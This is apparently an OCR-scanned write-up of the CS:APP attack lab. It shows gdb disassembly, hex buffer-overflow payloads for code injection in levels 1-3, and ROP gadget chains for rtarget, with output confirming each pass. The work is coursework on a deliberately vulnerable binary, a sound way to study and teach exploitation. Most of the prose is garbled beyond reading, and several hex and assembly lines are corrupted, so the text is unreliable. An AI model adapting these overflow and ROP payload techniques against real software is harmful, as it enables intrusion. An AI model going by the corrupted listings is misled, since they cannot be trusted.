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BHAHBE test , test BEA R getbuf , REELEHIRBAEE touch1() , FRATIBIEAIL gdb ctarget AR, R
JEHIN disassemble getbuf BEVLHMAML.
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$ gdb ctarget

Copyright (C) 2020 Free Software Foundation, Inc.

License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html=>

This is free software: you are free to change and redistribute it.

There is NO WARRANTY, to the extent permitted by law.

Type "show copying" and "show warranty" for details.

This GDB was configured as "x86_64-1linux-gnu".

Type "show configuration" for configuration details.

For bug reporting instructions, please see:

<http://www.gnu.org/software/gdb/bugs/=.

Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/=.

For help, type "help".
Type "apropos word" to search for commands related to "word"...

Reading symbols from
disassemble test
Dump of assembler code for function test:

<+0>: sub rsp,0xs8
<+4>: mov eax,0x0
<+9>: call
<+14>: mov edx,eax
<+16>: mov esi,Ox403188
<+21>: mov edi,ox1
<+26>: mov eax,0x0
<+31>: call
<+36>: add rsp,0xs8
<+40>: ret

End of assembler dump.

disassemble getbuf

Dump of assembler code for function getbuf:
<+0>: sub rsp,0x28
<+4>: mov rdi,rsp
<+7>: call
<+12>: mov eax,0x1
<+17>: add rsp,0x28
<+21>: ret

End of assembler dump.

T LMRE R HE 2R B Z XK/ ox28 775, 5 gets CEUHIRERMHERET T, gets RBRARFKN, EEBEANT
FFE I EA SR ERN, MRSZDES D, MARNTUAHZA gets RELIARA L, PATRATHIBUREREL touch1() , &
AT LASeH o0 FH93ATE 40 NFH, MREHM L shell R MbE. FEREAEH T AR T 0a MAERFTIET, KN ea
Eo\n’ MEE, gets B —BRARXNFRMSANFRHREERERT . HATH print touchl EEF R H AL,

print touchil

$1 = {void ()}

RILT SRR Bt bt 2 J5 BATH AT LAAIE payload T o FAI1SE q B gdb , MRJEIXBSEEIE XA vim attackl. txt
RIEIHETE

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
co 17 40

EE, MbEHENER/ DR A6, hHR R MR AL, RERATMIER payload RAERRIE TS FIHFEHI, TAX
RF R K, B R 5 RATH ROt I B % w5 EE R . WG 75 R/ 5 .

BT B4 K hex2raw 34, ./hex2raw <source file> target file ff&EAE B MH. RIGH ./ctarget -q -i target
file XEBARAFI MM attackrawl . txt , RFEXIEMANBITHS, RIBERINT -



S ./ctarget -q -1 attackrawil.txt

Cookie: 0x59b997fa

Touch1!: You called touchi()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:

user id bovik

course 15213-f15

lab attacklab

result 1:FASS:OKffffffffi(targEt:1:00 00 00 60 0O 00 0O 0O GO0 GO MO 0O GO OO GO OO 0O 00 GO 0O 60 OO OO 00 0O GO GO OO OO 0O OO OO OO 0O 0O 0O OO 6O 00 00 CO 17 40
8 =

level2

AT BB AT IR BN touch2() » XAMERE H KIRIFEMKAA T LA A . (B print touch2 ZJERHIE K
B, touch2 bk touch1 2T —NSH. MEHEEZ FRKIN:

S ./hex2raw <attack2.txt> attackrawz.txt
B S ./ctarget -q -1 attackraw2.txt

Cookie: @x59b997fa

Misfire: You called touch2(0x815d22a0)

FAIL: Would have posted the following:

user id bowik

course 15213-f15

lab attacklab

result 1:FAIL:0xffffffff:ctarget:2:00 00 00 60 A0 00 00 GO0 OO0 6O

BRABMNBINIAT T touch2() B, HRERERKKT, KI; touch2() FXEEBNSHRARKMMETE cookie ILELHI,

T cookie MECEEIFIRT - 32 MEF Bil, AT LMEREIHIEFEES £ cookie fEASH, HRGAEFHIOANSHCK
RaF#ES, BLABERINBER DB IIEH rdi FHHIERN cookie « FNRATE LR B4 BB & R HOhIE, FREE A K
XA T SHEEE, BrlhrdifE 2D AT getbfR B IR A 2B R, X BEFA0F T R/NKIRE R, A2 AT AT AR
FEANMUS, AR R

movq $0x59b997fa,%rdi

call $touch2

call i HIRIEBRARSE rip WMBRE, WHEAS T XMW, BMBEIEMERK call BlIXA touch2() BH, Ma#HZ—MB
B SEfEAR BMEREIMAE, FORE ret #MIRE, MARMNELER EENBDHA

movq $0x59b997fa,%rdi
pushg $0x4017ec
retq

BEER T, BN EERE R I40F T B K RIR B AR bk 3 v] CAE BT RIRIEN RS T o 3418 T Rk 0 2 4% 1 itk
T. gdb ctarget ZRJGTE getbuf XE TWi&S. r -qiB1TE] sub rsp,ox28 IX—HEATME R IGE KA E

oa:eoaol rsp “« 0

TR FATAT CALE IR [B] bk ) 4o B 8 [ AR th AT AR AL E, b ERITRERS, DRSS BIUTRE B K. RAREE
B/ BT RBATR FEMR—A S eIl AR 5oy 7155 ?

Hvim 1.s, EANLHMAIL, )5 gcc -c 1.5 -0 1.0L%2ZJ5, F objdump -d 1.0 RICEWELAIAEBILHERBHZETET .



gcc -c 1.5 -0 1.0

S
S objdump -d 1.0

1.0° XHRE elfoa-x86-64

Disassembly of section .text:

0000000000000000 <.text>:
0: 48 7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi
T: 68 ec 17 40 00 pushg 5$0x4017ec
c: c3 retq
: Y |

5158 payload :

48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55

UEE, BAERIT .

Cookie: @x59b997fa

[Touch2!: You called touch2(0x59b997fa)

alid solution for level 2 with target ctarget
PASS: Would have posted the following:

user id bovik

course 15213-f15
lab at
result 1:PASS:Oxffffffff:ctarget:2:48 C7 C7 FA 97 B9 59 68 EC 17 40 00 C3 00 00 00 00 00 00 00 00 06 00 00 0O 0O OO 0O 0O 0O 6O 0O 0O OO 60 00 0O GO 00 00 78 DC 61 55

X B RIRAERER touch3 , writeup FEASE T HATHR BB A) (Ps: B AMBNIX B 7 F1iE writeup 2 Ui B E Baqwq).

void touch3 (char =sval)
vievel = 3; /* Part of validation protocol =*/

i f []lt:.‘{ll'l.ilL'k'.{t';]ukil', fi"_-'\II_JJ
printf ("Touch3!: You called touch3(\"%=\")\n", sval);
validate(3);

} else |
printf ("Misfire: You called touch3(\"%=\")\n", sval);
fail{3);

1
I

exit (0);

R hexmatch B#GR B true , XRBEAREMTY, B H thas 7RIV RBHED .



int _ fastcall hexmatch(unsigned int val, char *sval)

{

const char *v2; // rbx

char cbuf[110]; // [rsp+6h] [rbp-98h] BYREF
unsigned __int64 v5; // [rsp+78h] [rbp-20h]
v5 = _ readfsqword(0x28u);

v2 = &cbuf[random() % 100];
__sprintf_chk(v2, 1LL, -1LL, "%.8x", val);
return strncmp(sval, v2, 9uLL) == 0;

}

EANRBEFHANN, — DB val , BALSHE cookie HIEH, BEMETHART T, sval ZHE touch3() RSHEN,
HEIRATAE call touch3 KIFHMREL rdi A& KIS EUR AT LAR hexmatch I —ANS¥. FEAE—SERBR I, TR BEHLEH
T, ERETRE A sprintf B, sprintf BBRKERUFFRMIES s . B val M 8 hi -+ it HS s WEBH
f& s="59b997fa" A s FRF R B UBEH LN EE ). FRFEAES RIS EFER char $8E, BUENEZRFE 2 \0* ZH
A7/ (KW o« BARMMIER sval FRBHFEEMERNZL: 35 39 62 39 39 37 66 61, AiE T EWERFRH
ZRRERIPERCIERNSEAES rdi Bll. RO EREFBRFOEAMIE, FATERF R BN F getbuf ARKIH 5
RSN IEH A hexmatch BREEBIR, FIURATEZRMX T 4 MFWHEHARROER S, REBRHERNBEAXR,
RERPATH ok « HAMREGMIE payload : FEXBEFEANMARLREREARL, RESHEDLM cookie R & 1 Hhutik.

48 c7 c7 a8 dc 61 55 68
fa 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
35 39 62 39 39 37 66 61
00

HERE—MEee HAE, FAFHERED o0 4R, WRARMAMS —EHH#IT T,
rtarget

level2

RANET K writeup CEBFER T, R, FIHARI rop B77 R HE AT touch2() .

EAVER objdump -d rtarget EEFRBEFFEWETURM. HARMEPIMZRZ, movg $0x59b997fa,%rdi

pushq $0x4017ec
retq

R RIIRE AR AT movg $0x59b997fa,%rdi » B LAIXAN 7 VEBE B

BIEH plan B: fERR L rsp BHEZENITBNERSG popg #F rdi BT T, MARMNBHIEL,

popq %rdi
pushqg $0x4017ec
retq

FATEZER—T popq %rdi KIFEHL s, K oxa0233a H—A 5]

IR B #i& payload T



00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
3a 23 40 00 00 00 00 00
fa 97 b9 59 00 00 00 00
ec 17 40 00 00 00 00 00

e: 0x59b997fa
ck smashing detected ***: terminated
You caused a segmentation fault!

FAIL: Would have posted the following:

user id bovik

course 15213-f15

lab attacklab

result 1:FAIL:exffffffff:rtarget:0:00 €0 00 00 00 00 0O 00 OO 00 OO 00 OO 0O 00 0O 00 0O 00 00 00 00 00 00 00 00 00 00 00 00 00 0O @0 00 00 00 00 00 00 @O0 3A 23 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00
EC 17 40 00 00 00 00 00

HEL PXBERARBAEBGERIIN, REBNEE LRI EFEMRBR, HREFIHENDERBIEBTEIE. FB2EHK
%R S EpopElraxdF A4 B, /5T movg %rax,%rdi #AJ5H ret touch3() ? ? ? BRAMXHI, ERBAHE. .

PN A E) Y

popq %rax
movq %rax,%rdi
ret

i Sk K payload st 2

00 00 00 00 00 00 00 09
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 090
ab 19 40 00 00 00 00 00
fa 97 b9 59 00 00 00 00
a2 19 40 00 00 00 00 00
ec 17 40 00 00 00 00 00

XARLZAME, ERREZEHERKBES I 1)
level3

BB BRATETUR? HIEE — MR T MG 75 8 ARG 1745 8 AP B bk AR 45 rdi BRBEEERBGE BT, JFR T AR R A
HhERENLIL, MARIMTER A Bk ERY, FEREALTEEE)EME, TR gadget - RJFHILHE rsp FEK
HATCHIEH) gadget , FATH AT LMR AN MRS 775 & ik

A2 BAT T Z M G AR

//movq %rsp,%rdi
movq %rsp,%raxa
movq %rax,%rdi
add $offset,%rdi
ret

REFERaddiXKHEL, HABAT AN HREBEITE 7, #MELEBA level2 18, iR —FIE, LLESLS rax B
% rdi WM, AMERAFIE PSRN AT, ETREIK gadget T HEMARIRGFIRE], WM add XFIELS AL
i, ERBATTLAREE — TR



% gcc -c 1.s -0 1.0
S objdump -d 1.0

WHAET, elf64-x86-64

Disassembly of section .text:

0000000000000 <.text=:
48 83 c7 08 add SOx8,%rdi
5 % gcc -c 1.s -0 1.0
S objdump -d 1.0

WHAET, elf64-x86-64

Disassembly of section .text:

PO00000000000000 <.text>:
48 83 c7 07 add SOx7,%rdi

RATATLARIEM ML R L,  add $xxx,%rdi BI—MHUEBLR 48 83 7 RIEFH—NE T E LM KN BLAMERE—T 48
83 c7, HEMBIMSKIM, AR gadget « WAL —FEEE, BERBRAIVLMES T rax BIATAT S LL rax i EHAME
W, BFHT, ICRMERZEREFHE 48 05 00 KIUERERAES], —FBERBZER, RRAME], 7R HFEROMEL, i
TR BREREARRXAE, W rax BK3260 2 eax , K16AL2 ax , (K8ALR al , A —/ M HRid % K Madd alF—4~. 04
37 iXRNIiF R al+0x37 ffigadget.

4019d6: 48 sdfsd 37 lea (%rdi,%rsi,1),%rax

BRAKRPMEREE GER, ERERIERS 28 HNHR TRIE payload B/NELF, KTHEHHH.
A2 AT R BIEATE T HE RS S T

movq %rsp,%rax
add $0x37,al
movq %rax,%rdi
ret

cookies

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

06 1la 40 00 00 00 00 00// movq %rsp,%rax
d8 19 40 00 00 00 00 00// add $0x37,al
c5 19 40 00 00 00 00 00// movq %rax,%srdi
fa 18 40 00 00 00 00 00//touch3

00 00 00 00 00 00 00 00

00 00 00 00 00 0O 00 00

00 00 00 00 00 0O 00 00

00 00 00 00 00 00 00 35//cookie

39 62 39 39 37 66 61 00

RJE AL ! !



FE—IREEH 5 5Ecsapplab, BEARME, HR/WIREE, HBFALE, BIBFHKIE! !
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